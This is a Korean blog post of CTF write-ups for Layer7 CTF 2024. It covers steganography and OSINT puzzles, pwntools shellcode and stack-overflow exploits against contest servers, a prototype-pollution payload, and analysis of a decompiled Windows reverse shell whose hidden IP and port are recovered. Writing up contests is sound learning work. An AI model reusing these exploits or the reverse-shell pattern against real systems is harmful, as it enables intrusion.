Void
Layer7 CTF 2024 본문

전체, 고등부 3등으로 마무리 했다. 처음으로 수상해보는 개인대회라 정말 기쁘다. 포너블 encryptor 라는 문제를 처음으로 풀었는데 제출하려보니 포너블 어떤 문제도 안풀렸어서 키핑이라는 행복회로 돌리다 이후 한시간만에 풀이자 나와서 나도 제출해버렸다. 결국 이 문제 13명이나 풀었는데 퍼블도 못먹고 문제도 많이 풀리고 그저그런 상황이 돼버렸다. 포너블 0솔 Plantify 라는 문제 롸업을 받았는데 난생 처음 보는 기법이여서 이 문제도 최대한 빠르게 업솔빙 해볼 것이다(드림핵에 포팅을 고민중이시라고 하신다). 드림핵 규정상 포팅된 문제는 롸업을 공개할 수 없기 때문에 포팅되지 않은 문제들의 롸업만 올린다. 현재 올린 롸업중에서 이후 드림핵에 포팅되는 문제가 있다면 롸업을 삭제할 것이다.
WriteUp
misc - mic check (100 point)
misc - Overlab (100 point)
misc - layer blog (100 point)
misc - 모든것의 해결책 햄스터 (516 point)
misc - find the finder (984 point)
pwn - encryptor (424 point)
pwn - plusminus (744 point)
rev - reverse the reverse (676 point)
web - profile editor (100 point)
web - Richer than Elon (216 point) - 드림핵 포팅
misc - mic check (100 point)

Layer7 공식 디스코드에서 확인할 수 있다.
misc - Overlab (100 point)

파일을 열어보면 PNG 파일인 것을 알 수 있다.
$ binwalk Overlab.txt
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 558 x 513, 8-bit/color RGBA, non-interlaced
91 0x5B Zlib compressed data, compressed
11666 0x2D92 PNG image, 572 x 449, 8-bit/color RGBA, non-interlaced
11757 0x2DED Zlib compressed data, compressed
문제 이름이 Overlab 이니 다른 파일이 있을 것이라고 판단했고, Overlab.txt 에 2가지 PNG 파일이 있었다. HxD로 추출하면 다음과 같은 파일 2개를 얻을 수 있다.


Layer7{gReAT_0VErla_sOlv}
misc - layer blog (100 point)
from flask import Flask, render_template_string, request, redirect, url_for, flash, send_from_directory
import os
import markdown
import datetime
app = Flask(__name__, static_folder=None) # 정적 폴더 비활성화
app.secret_key = "helo"
UPLOAD_FOLDER = "uploads"
ALLOWED_EXTENSIONS = {"md"}
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
if "file" not in request.files:
flash("No file part")
return redirect(request.url)
file = request.files["file"]
if file.filename == "":
flash("No selected file")
return redirect(request.url)
if file and allowed_file(file.filename):
filepath = os.path.join(app.config["UPLOAD_FOLDER"], file.filename)
file.save(filepath)
return redirect(url_for("view_file", filename=file.filename))
else:
flash("Only markdown (.md) files are allowed")
return redirect(request.url)
return '''
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
<title>Layer Blog</title>
<style>
body {
background-color: #f8f9fa;
font-family: 'Arial', sans-serif;
}
.container {
margin-top: 50px;
max-width: 600px;
}
.btn {
width: 100%;
}
</style>
</head>
<body>
<div class="container text-center">
<h1 class="mb-4">Welcome to Layer Blog</h1>
<p class="mb-4">Upload a Markdown file to create a new blog post!</p>
<form method="post" enctype="multipart/form-data">
<div class="mb-3">
<input type="file" name="file" class="form-control">
</div>
<button type="submit" class="btn btn-primary">Upload</button>
</form>
</div>
</body>
</html>
'''
@app.route("/view/<filename>")
def view_file(filename):
filepath = os.path.join(app.config["UPLOAD_FOLDER"], filename)
if not os.path.exists(filepath):
return "File not found!", 404
with open(filepath, "r", encoding="utf-8") as f:
content = f.read()
html_content = markdown.markdown(content)
post_date = datetime.datetime.now().strftime("%B %d, %Y")
return render_template_string(f"""
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{filename} - Layer Blog</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {{
background-color: #f8f9fa;
font-family: 'Georgia', serif;
}}
.navbar {{
background-color: #343a40;
}}
.navbar-brand {{
color: #ffffff !important;
font-weight: bold;
}}
.container {{
margin-top: 2rem;
max-width: 800px;
}}
.post-title {{
font-size: 2.5rem;
font-weight: bold;
margin-bottom: 1rem;
color: #343a40;
}}
.post-meta {{
font-size: 0.9rem;
color: #6c757d;
margin-bottom: 2rem;
}}
.markdown-content {{
font-size: 1.2rem;
line-height: 1.8;
color: #333;
}}
footer {{
margin-top: 3rem;
padding: 1rem 0;
background-color: #343a40;
color: #ffffff;
text-align: center;
}}
</style>
</head>
<body>
<nav class="navbar navbar-dark">
<div class="container">
<a class="navbar-brand" href="/">Layer Blog</a>
</div>
</nav>
<div class="container">
<h1 class="post-title">{filename}</h1>
<p class="post-meta">Posted on {post_date}</p>
<div class="markdown-content">
{html_content}
</div>
<a href="/" class="btn btn-primary mt-4">Upload Another File</a>
</div>
<footer>
<p>© 2024 Layer Blog. All rights reserved.</p>
</footer>
</body>
</html>
""")
@app.route("/image/<filename>")
def serve_image(filename):
return send_from_directory("static", filename)
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=9292)
파일 관련 서버인데, 다른거 볼 필요 없이 마지막 부분 serve_image(filename) 만 확인하면 된다. flag는 static/flag.png 에 저장되어 있으니 /image/flag.png 접속하면 된다.

Layer7{516AE6629E4A3AF07464C5EE8}
misc - 모든것의 해결책 햄스터 (516 point)

햄스터 사진이다. wsl2 에서 unzip 을 하면 mp3 파일을 얻을 수 있다.
$ unzip hamster.jpg
Archive: hamster.jpg
warning [hamster.jpg]: 3720941 extra bytes at beginning or within zipfile
(attempting to process anyway)
inflating: 지능이 떨어지는 브금.mp3

audacity 에서 파일을 올리고 스펙트로그램으로 설정하면 맨 위에 노랑색 상자가 보인다.

스펙트로그램 설정에서 주파수를 8192로 설정하고 아래쪽으로 늘리면 flag를 분명하게 확인할 수 있다.
Layer7{la2er_musics}
misc - find the finder (984 point)

이 사진만 보고 finder가 어디로 도망갔는지 찾아야 한다. 구글링을 통해서 이 기차역이 서울역이라는 정보를 알아냈다.

사진을 보면 중앙에 시계가 있는 것을 확인할 수 있고, 17:55 이라고 쓰여있다. 그럼 finder는 17시 55분 이후 기차를 탔을 것이다. 서울역이기 때문에 아래쪽으로 이동했을 것이라고 추측했고, 그 중 '부산' 으로 갔을 것이라고 예상했다.


그래서 서울에서 부산으로가는 기차를 찾아보니 17시 58분에 출발하는 053번 기차가 있었고, 이게 정답이었다. 사실 만약 이게 정답이 아니었다면 서울에서 부산으로 이동할때 거치는 역들을 넣어볼 생각이었지만 운좋게 바로 정답을 받았다.
Layer7{서울역_17:58_053_부산역}
pwn - encryptor (424 point)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[60]; // [rsp+0h] [rbp-40h] BYREF
unsigned int v5; // [rsp+3Ch] [rbp-4h]
init(argc, argv, envp);
printf("buf: %p\n", buf);
read(0, buf, 0x200uLL);
v5 = strlen(buf);
encryption(buf, v5);
puts(buf);
return 0;
}
__int64 __fastcall encryption(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+18h] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i >= a2 )
break;
if ( *(char *)((int)i + a1) <= 31 || *(_BYTE *)((int)i + a1) == 127 )
*(_BYTE *)((int)i + a1) ^= 0x7Eu;
else
*(_BYTE *)((int)i + a1) ^= 0x20u;
}
return result;
}
소스코드를 보면 mian() 에서 buf의 주소를 출력한다. nx, 카나리 모두 없으며, bof가 발생하기 때문에 buf에 쉘코드 넣고 main의 ret를 buf로 보내면 된다. 문제는 encryption()인데, 암호화를 하면 쉘코드가 바뀐다. 이 문제는 'NULL'로 해결할 수 있다. main()에서 encryption()에 길이를 넘겨줄 때 strlne(buf)로 값을 주는 것을 확인할 수 있다. 그렇다면 쉘코드의 null byte 이후는 암호화가 되지 않는다는 뜻이다. 그럼 쉘코드 처음 부분에 null byte가 들어간 어셈블리어 코드를 넣고, 이후 execve('/bin/sh') 쉘코드를 넣으면 된다.
Disassembly of section .text:
0000000000000000 <_start>:
0: b8 00 00 00 00 mov eax,0x0
null byte를 위해서 mov eax, 0x0 코드를 선택했다. 0xb8은 0xc6으로 넣으면 암호화를 우회할 수 있다. 그래서 b'\xc6\x00\x00\x00\x00' 이후 execve('/bin/sh') 쉘코드를 넣었다.
from pwn import *
context(arch='amd64', os='linux')
#p=process('./prob')
p=remote('172.104.94.19', 11070)
stack=int(p.recvline()[5:-1].decode(), 16)
encrypted=b'\xc6\x00\x00\x00\x00'+asm(shellcraft.execve('/bin/sh'))
encrypted=encrypted.ljust(0x38, b'\x00')+p64(stack)*10
p.send(encrypted)
p.interactive()
Layer7{S1mpL3_Er1Cr3pt0r}
pwn - plusminus (744 point)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-14h]
__int64 v5[2]; // [rsp+10h] [rbp-10h] BYREF
v5[1] = __readfsqword(0x28u);
v5[0] = 0LL;
for ( i = 0; i <= 7; ++i )
__isoc99_scanf("%d", (char *)v5 + 4 * i);
return 0;
}
int win()
{
return execve("/bin/sh", 0LL, 0LL);
}
바이너리는 이게 전부다. scanf()로 8번 입력을 받고, main의 ret부분까지 덮을 수 있다. 간단하게 ret만 win으로 덮으면 되는데, 문제는 카나리이다. 입력을 하다보면 무조건 카나리를 덮을 수 밖에 없고, 그럼 win이 실행되기 전에 __stack_chk_fail이 실행될 것이다. 이 문제의 풀이 방법은 '+'/'-' 를 이용하는 것이다. 말 그대로 입력받을 때 '+' 나 '-'를 입력하면 되는데, 이러면 아무 값도 입력하지 않고 넘어갈 수 있다. 6번 반복하고, ret부분에만 win(0x401176)주소 써주면 된다.
$ nc 172.104.94.19 33440
-
-
-
-
-
-
4198774
0
cat flag
Layer7{3zpz_pwn_pr0b}
Layer7{3zpz_pwn_pr0b}
+ 문제를 풀고 나서야 제목이 무슨 뜻인지 깨달은 문제다. 항상 문제 제목이 힌트일 수 있다는걸 생각하고 있었고, 나도 이 문제 풀때 분명히 힌트일 것이다 라고는 생각했지만 '+'/'-' 를 입력하는 것이라고는 상상도 못했다. 아무리 생각해도 풀이가 안보이길래 "%d" 로 입력받을때 문자열을 넣으면 내부적으로 달라지나 싶어서 scanf() 내부도 분석하고 그랬다. 아무리 해도 안풀리길래 막 입력해보다가 우연히 '-' 를 입력했는데 잘 작동하길래 이상해서 해보니 풀린 그런 문제여서 좀 허무했다.
rev - reverse the reverse (676 point)
...
UPX1:0000000140026000 ; ===========================================================================
UPX1:0000000140026000
UPX1:0000000140026000 ; Segment type: Pure code
UPX1:0000000140026000 ; Segment permissions: Read/Write/Execute
UPX1:0000000140026000 UPX1 segment para public 'CODE' use64
UPX1:0000000140026000 assume cs:UPX1
UPX1:0000000140026000 ;org 140026000h
UPX1:0000000140026000 assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing
UPX1:0000000140026000 qword_140026000 dq 54014600902A00A1h, 50051940A8028C20h, 40146402A00A3281h
UPX1:0000000140026000 ; DATA XREF: start+4↓o
UPX1:0000000140026000 dq 0CAE9CC2282A39F05h, 0E900004AFBF74F9Bh, 3492F109155C046Bh
UPX1:0000000140026000 dq 4B2A366CD3DF0C27h, 69F3041D19081EC3h, 1F8A0E7F2236BB36h
UPX1:0000000140026000 dq 0EB669EFBF727F097h, 205718AC04572C2Fh, 0CD35E2669EFBE713h
UPX1:0000000140026000 dq 9A7BEF2E091B2248h, 4F2AAF49B84B69CDh, 13C2BEFDD9B31D21h
UPX1:0000000140026000 dq 0EC5F813B1D4604E7h, 122EB7669E7DD92Bh, 74F314832237F85Dh
UPX1:0000000140026000 dq 4F0F143BE73EA7BFh, 2925EECD3EE90A1Fh, 755933C63B210013h
UPX1:0000000140026000 dq 31A31D1CEFBEFDD3h, 0F7CF185938BD13A2h, 1D07225EEFE3DF7Dh
UPX1:0000000140026000 dq 7E77DFBA6A6309CCh, 48A6900B0E13A5C7h, 2A0C7CD9B34FF131h
UPX1:0000000140026000 dq 0EE9E18AD0E422C47h, 0AD90E0422B93DF7h, 0AA7BE7BEFBCBA454h
UPX1:0000000140026000 dq 13660E0BD6006109h, 97633829E7BE7BF3h, 4F3EE9E70F8D1D62h
UPX1:0000000140026000 dq 0EEF8030E167E778Bh, 514009368FDD3DF7h, 0EFBE222DBB04C46Dh
UPX1:0000000140026000 dq 3B31BC0991569EFDh, 0FBF74F7E35EF82A9h, 6B883B1D7304C622h
UPX1:0000000140026000 dq 1DECD3DF7E0C9404h, 7B4F622CB584129Fh, 0E9F327BDF7DF72Eh
UPX1:0000000140026000 dq 0F7DF09DA31C704DEh, 0EAFEA30478CDCF7Ch, 227CFBB3BE3AA449h
...
ida로 열여보면 UPX 패킹 되었다는 사실을 알 수 있다. upx -d -o out_unpzcked.exe out.exe 명령어로 언패킹 할 수 있다.
__int64 sub_140011970()
{
char *v0; // rdi
__int64 i; // rcx
char *v2; // rax
u_short v3; // ax
char v5[32]; // [rsp+0h] [rbp-50h] BYREF
char v6; // [rsp+50h] [rbp+0h] BYREF
struct hostent *v7; // [rsp+58h] [rbp+8h]
WCHAR CommandLine[452]; // [rsp+80h] [rbp+30h] BYREF
v0 = &v6;
for ( i = 144i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_140011384(&unk_1400230D9);
if ( IsDebuggerPresent() )
exit(-1);
sub_1400112B7();
WSAStartup(0x202u, &stru_14001DA40);
s = WSASocketW(2, 1, 6, 0i64, 0, 0);
v7 = gethostbyname(cp);
v2 = inet_ntoa(**(struct in_addr **)v7->h_addr_list);
strcpy_s(cp, 0x10ui64, v2);
name.sa_family = 2;
v3 = atoi(&String);
*(_WORD *)name.sa_data = htons(v3);
*(_DWORD *)&name.sa_data[2] = inet_addr(cp);
WSAConnect(s, &name, 16, 0i64, 0i64, 0i64, 0i64);
j_memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 104;
StartupInfo.dwFlags = 257;
StartupInfo.hStdError = (HANDLE)s;
StartupInfo.hStdOutput = (HANDLE)s;
StartupInfo.hStdInput = (HANDLE)s;
qmemcpy(CommandLine, L"cmd.exe", 0x10ui64);
memset(&CommandLine[8], 0, 0x1EEui64);
CreateProcessW(0i64, CommandLine, 0i64, 0i64, 1, 0, 0i64, 0i64, &StartupInfo, &ProcessInformation);
sub_140011311(v5, &unk_14001ACE0);
return 0i64;
}
언패킹한 바이너리를 보다보면 이런 코드를 찾을 수 있다. 이 함수에서 htons, inet_addr 과 같은 함수들을 사용하는 것을 볼 수 있는데, cp와 String이 각각 ip, port인 것을 알 수 있다. 그래서 이 두 변수가 초기화되는 곳으로 찾아갔다.
__int64 sub_1400117D0()
{
char *v0; // rdi
__int64 i; // rcx
char v3[32]; // [rsp+0h] [rbp-20h] BYREF
char v4; // [rsp+20h] [rbp+0h] BYREF
char v5[10]; // [rsp+28h] [rbp+8h]
char v6[34]; // [rsp+32h] [rbp+12h] BYREF
char v7[32]; // [rsp+54h] [rbp+34h]
int j; // [rsp+74h] [rbp+54h]
int k; // [rsp+94h] [rbp+74h]
v0 = &v4;
for ( i = 38i64; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_140011384(&unk_1400230D9);
v5[0] = 117;
v5[1] = -94;
v5[2] = 124;
v5[3] = 25;
v5[4] = -101;
v5[5] = -67;
v5[6] = -124;
v5[7] = -15;
v5[8] = -72;
v5[9] = -56;
qmemcpy(v6, "F3i", 3);
memset(&v6[3], 0, '\x03');
v7[0] = -6;
v7[1] = 116;
v7[2] = -124;
v7[3] = -105;
v7[4] = -58;
for ( j = 0; j < 16; ++j )
cp[j] ^= v5[j];
for ( k = 0; k < 5; ++k )
String[k] ^= v7[k];
return sub_140011311(v3, &unk_14001AC50);
}
이런 연산을 통해서 초기화를 한다.
.data:000000014001D000 ; char cp[16]
.data:000000014001D000 cp db 'B' ; DATA XREF: sub_1400117D0+B0↑o
.data:000000014001D000 ; sub_1400117D0+CA↑o ...
.data:000000014001D001 db 93h
.data:000000014001D002 db 52h ; R
.data:000000014001D003 db 20h
.data:000000014001D004 db 0A9h
.data:000000014001D005 db 93h
.data:000000014001D006 db 0B6h
.data:000000014001D007 db 0C0h
.data:000000014001D008 db 8Bh
.data:000000014001D009 db 0E6h
.data:000000014001D00A db 77h ; w
.data:000000014001D00B db 0Bh
.data:000000014001D00C db 5Bh ; [
.data:000000014001D00D db 0
.data:000000014001D00E db 0
.data:000000014001D00F db 0
.data:000000014001D010 ; char String[16]
.data:000000014001D010 String db 0CBh ; DATA XREF: sub_1400117D0+F1↑o
.data:000000014001D010 ; sub_1400117D0+10B↑o ...
.data:000000014001D011 db 44h ; D
.data:000000014001D012 db 0B6h
.data:000000014001D013 db 0A7h
.data:000000014001D014 db 0F5h
.data:000000014001D015 db 0
.data:000000014001D016 db 0
.data:000000014001D017 db 0
.data:000000014001D018 db 0
.data:000000014001D019 db 0
.data:000000014001D01A db 0
.data:000000014001D01B db 0
.data:000000014001D01C db 0
.data:000000014001D01D db 0
.data:000000014001D01E db 0
.data:000000014001D01F db 0
cp와 String의 초기값 또한 알 수 있으니, 추출한 다음 연산을 처리해주면 된다.
#include<stdio.h>
int main() {
char cp[20]={66, 147, 82, 32, 169, 147, 182, 192, 139, 230, 119, 11, 91, 0, 0, 0};
char str[10]={203, 68, 182, 167, 245, 0};
char v5[16];
char v7[5];
v5[0]=117;
v5[1]=-94;
v5[2]=124;
v5[3]=25;
v5[4]=-101;
v5[5]=-67;
v5[6]=-124;
v5[7]=-15;
v5[8]=-72;
v5[9]=-56;
v5[10]='F';
v5[11]='3';
v5[12]='i';
v5[13]=3;
v5[14]=3;
v5[15]=3;
v7[0]=-6;
v7[1]=116;
v7[2]=-124;
v7[3]=-105;
v7[4]=-58;
for(int i=0; i<16; i+=1) cp[i]^=v5[i];
for(int i=0; i<5; i+=1) str[i]^=v7[i];
printf("%s\n%s\n", cp, str);
return 0;
}
ip는 71.92.213.182, port는 10203이다.
Layer7{71.92.213.182:10203}
web - profile editor (100 point)
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json());
app.use(express.static('public'));
const userProfiles = {};
function getDefaultProfile() {
return {
theme: 'light',
language: 'ko',
notifications: true
};
}
function mergeObjects(target, source) {
if ('__proto__' in source) {
Object.setPrototypeOf(target, {
...Object.getPrototypeOf(target),
...source.__proto__
});
return target;
}
for (let key in source) {
if (source[key] && typeof source[key] === 'object') {
target[key] = target[key] || {};
mergeObjects(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
app.post('/api/profile/create', (req, res) => {
const userId = req.body.userId;
if (!userId) {
return res.status(400).json({ error: '사용자 ID가 필요합니다.' });
}
userProfiles[userId] = {};
mergeObjects(userProfiles[userId], getDefaultProfile());
res.json({
success: true,
message: '프로필이 생성되었습니다.',
profile: userProfiles[userId]
});
});
app.post('/api/profile/update', (req, res) => {
const userId = req.body.userId;
const updates = req.body.updates;
if (!userId || !updates) {
return res.status(400).json({ error: '사용자 ID와 업데이트 내용이 필요합니다.' });
}
if (!userProfiles[userId]) {
return res.status(404).json({ error: '프로필을 찾을 수 없습니다.' });
}
mergeObjects(userProfiles[userId], updates);
res.json({
success: true,
message: '프로필이 업데이트되었습니다.',
profile: userProfiles[userId]
});
});
app.get('/api/admin/check', (req, res) => {
const userId = req.query.userId;
if (!userId || !userProfiles[userId]) {
return res.status(404).json({ error: '사용자를 찾을 수 없습니다.' });
}
const isAdmin = userProfiles[userId].isAdmin;
userProfiles[userId] = {};
mergeObjects(userProfiles[userId], getDefaultProfile());
if (isAdmin) {
res.json({
success: true,
message: '관리자 권한이 확인되었습니다.',
flag: 'Layer7{ㅎㅎㅎ}'
});
} else {
res.json({
success: false,
message: '관리자 권한이 없습니다.'
});
}
});
app.listen(3000, () => {
console.log('서버가 3000번 포트에서 실행 중입니다.');
});
flag를 얻기 위해서는 isAdmin을 True로 만들어야 한다. 그런데 프로필 생성 과정에서 siAdmin을 설정하지 않는다. update하는 부분을 보면 '__proto__'가 포함되어 있을 경우 프로토타입을 변경할 수 있도록 한다. 그럼 프로토타입 폴루션을 이용해서 isAdmin을 True로 만들 수 있다. 먼저 아무 id로 계정을 생성하고, "{"__proto__":{"isAdmin": true}}" 이런 json을 입력해 update하면 isAdmin이 True가 되고, 이후 /api/admin/check에서 flag를 얻을 수 있다.

Layer7{Pr0t0typ3_P0llut10n_1s_D4ng3r0us}
'CTF' 카테고리의 다른 글
| YISF 2024 Finals | Pwn - Happy SIGnal (0) | 2025.01.21 |
|---|---|
| UofTCTF 2025 - Pwn (4/6) (0) | 2025.01.15 |
| 제 5회 JBU-CTF (1) | 2024.12.16 |
| LG U+ Security Hackathon : Growth Security 2024 Quals (0) | 2024.11.17 |
| YISF 2024 Finals (0) | 2024.11.10 |